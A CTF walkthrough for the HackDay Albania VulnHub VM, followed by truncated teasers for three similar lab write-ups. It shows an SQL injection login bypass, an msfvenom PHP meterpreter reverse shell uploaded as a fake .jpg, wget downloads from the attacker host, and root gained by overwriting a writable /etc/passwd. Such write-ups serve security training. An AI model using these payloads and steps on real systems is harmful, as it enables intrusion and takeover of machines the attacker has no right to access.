Hack the Hackday Albania VM (CTF Challenge)

This was used in HackDay Albania’s 2016 CTF. It uses DHCP.
Note: VMware users may have issues with the network interface doing down by default. You are recommended to use Virtualbox.
 Download the lab from: https://www.vulnhub.com/entry/hackday-albania,167/
 Let’s begin. First we run netdiscover(as usual).
netdiscover
Next we run nmap
nmap -p- A 192.168.0.103

Nmap result shows that our target is running http on port no.8008. So, we fire up our browser targeting http://192.168.0.103:8008
The message in the box translates to- “if I am, I know where to go :)”
We try for some hint in the page-source and find a comment at the bottom “Ok ok, but not here :)” Next we run nikto on our target
nikto -h 192.168.0.103:8008
Upon discovering the existence of robots.txt, we open it up on our browser
http://192.168.0.103:8008/robots.txt

All but one directory give us the same result.

The directory that proves to be worth visiting is http://192.168.0.103:8008/unisxcudkqjydw/

So, we discover another useful directory. Lets head towards it
http://192.168.0.103:8008/unisxcudkqjydw/vulnbank/

Clicking on the client/ directory, we are greeted by a login page of very secure bank

Upon trying a single ‘as the username, we get an error page.

After trying multiple credentials, we finally succeed in logging in as the first user
‘ or ‘a’ = ‘a’ —
#

On the welcome page, we can find an option to upload a file. Let us create a php payload using msfvenom and try uploading it.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4444 -f raw
We copy the php code and save it on a leafpad and save it in the name ra.php We try to upload the file but the webpage displays an error- “After we got hackedwe are allowing only image filesto upload such as jpg,jpeg, bmp etc…” Let’s rename our file to ra.jpg and try uploading it again.
Start the msf handler. msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.106
set lport 4444
exploit

Now we click on view ticket option under ra.jpg on our browser

And we have our meterpreter session. To get a proper shell and reach the tmp folder and find the os release, we fire up the following commands:
shell
python3 -c ‘import pty; pty.spawn(“/bin/bash”);’
cd /tmp
lsb_release -a
Kernel exploits do not seem to work here since gcc is not installed on our target machine. So, we decide to go the other way. We download a shell called LinEnum.sh from github on another terminal using-
git clone https://github.com/rebootuser/LinEnum.git
Thereafter we start apache service on our machine
service apache2 start
Thereafter, we copy the LinEnum.sh file to var/www/html folder of our machine and returning to our victim’s shell, we upload the file to his tmp folder
wget http://192.168.1.106/LinEnum.sh
Thereafter, change the permission of the uploaded file and run it.
chmod 777 LinEnum.sh
./LinEnum.sh
We discover that etc/passwd folder is writable.

And the encryption used by our victim’s machine is SHA512

We open the victim’s password file on the terminal itself
cat /etc/passwd

We then copy the entire contents of the file and copy it to a leafpad and name it as passwd. To know more about etc/passwd, please visit https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/ or https://www.digitalocean.com/community/tutorials/how-to-use-passwd-and-adduser-to-manage-passwords-on-a-linux-vps
Thereafter on another terminal, we generate a SHA512 encryption for a password “raj”
python -c ‘import crypt; print crypt.crypt(“raj”, “$6$saltsalt$”)’
We now copy this hash and replace it with the ‘x’ in the last line of our passwd file which we just saved in leafpad.

Next, we place this file named passwd in the var/www/html folder of our machine and upload it to the victim’s tmp folder
wget http://192.168.0.106/passwd
Now copy and replace this file with the passwd file present inside the etc folder.
cp passwd /etc/passwd
Then we try logging in with the user taviso
su taviso
raj
Next we try the root’s login
sudo -i
raj
Success. Now list the contents
ls
here’s our flag. Read its contents using
cat flag.txt

Urime,
Tani nis raportin!
Which translates to:-
Congratulations,
Now begins the report!

Hack the Gibson VM (CTF Challenge)

It’s a boot2root challenge and it does not get over with getting root access. You have to find flag also. So let’s start. First of all download lab from https://download.vulnhub.com/gibson/gibson.ova Now open kali terminal and like always start with first step i.e. netdiscover netdiscover it shows all the hosts those are up in our network and from here we get our target ip. Target IP: 192.168.1.6 As our target is all set we are going to scan it with nmap which will show all the open ports. In this case open ports are only two i.e. 22 and 80. nmap –p- -A 192.168.1.6 As from the above result we have got 80 port open so we will open target ip in browser. It shows an accessible directory. Let’s try opening it as we cannot see anything important here. Oh no such luck with this also. It’s written the result will be found by brute force but there is no place where we can apply brute force. As we do not have any other option so let’s just go to view page source to see if we could get a...

Penetration Testing in PwnLab (CTF Challenge)

In this article we will walkthrough a root2boot penetration testing challenge i.e PwnLab. PwbLab is a vulnerbale framework, based on the concept of CTF (capture the flag), with a bit of security which is a little complicated to bypass. But it’s not impossible. So, let us learn how we can get its access. Download From Here Now to start let us, firstly, consider that we do not know the IP of the PwnLab, therefore search for the IP address before hand and for that there is a command that shows us all the IP’s present in our network, so go to the terminal of you Kali and type : netdiscover Target IP = 192.168.0.105 And to know that we start our penetration testing. So, first, we will now scan with nmap , we will apply an aggressive scan as it gives detailed information and is fast. The command is : nmap -A 192.168.0.105 We have the result of scanning and as you can see there are only three ports open and they are: 80, 111, 3306. Our target IP is 192.168.0.105 as its MAC Vendor is...

Hack the Pentester Lab: from SQL injection to Shell II (Blind SQL Injection)

Today we are going to perform penetration testing with part II of previous lab, download it from  here . Now install the iso image in VM ware and start it. In this lab task level is intermediate and challenge is to gain access of administration console and then upload a PHP webshell. Start Kali Linux then open the terminal and  type netdiscover  command for scanning network. Here  192.168.1.102  is my target IP which is shown in the screenshot. Now explore this IP in browser. When you will open target IP in browser you will get a web page having heading My Awesome Photoblog . On the top of left side it contains some tags: home; test; ruxcon; 2010; all pictures; admin. Now  Click  on  test . The given URL : http://192.168.1.102/cat.php?id=1  will run sql query for  ID 1  now let try to find out whether the above URL is vulnerable to sql injection or not by adding( ‘) apostrophe at last of URL: http://192.168.1.102/cat.p...
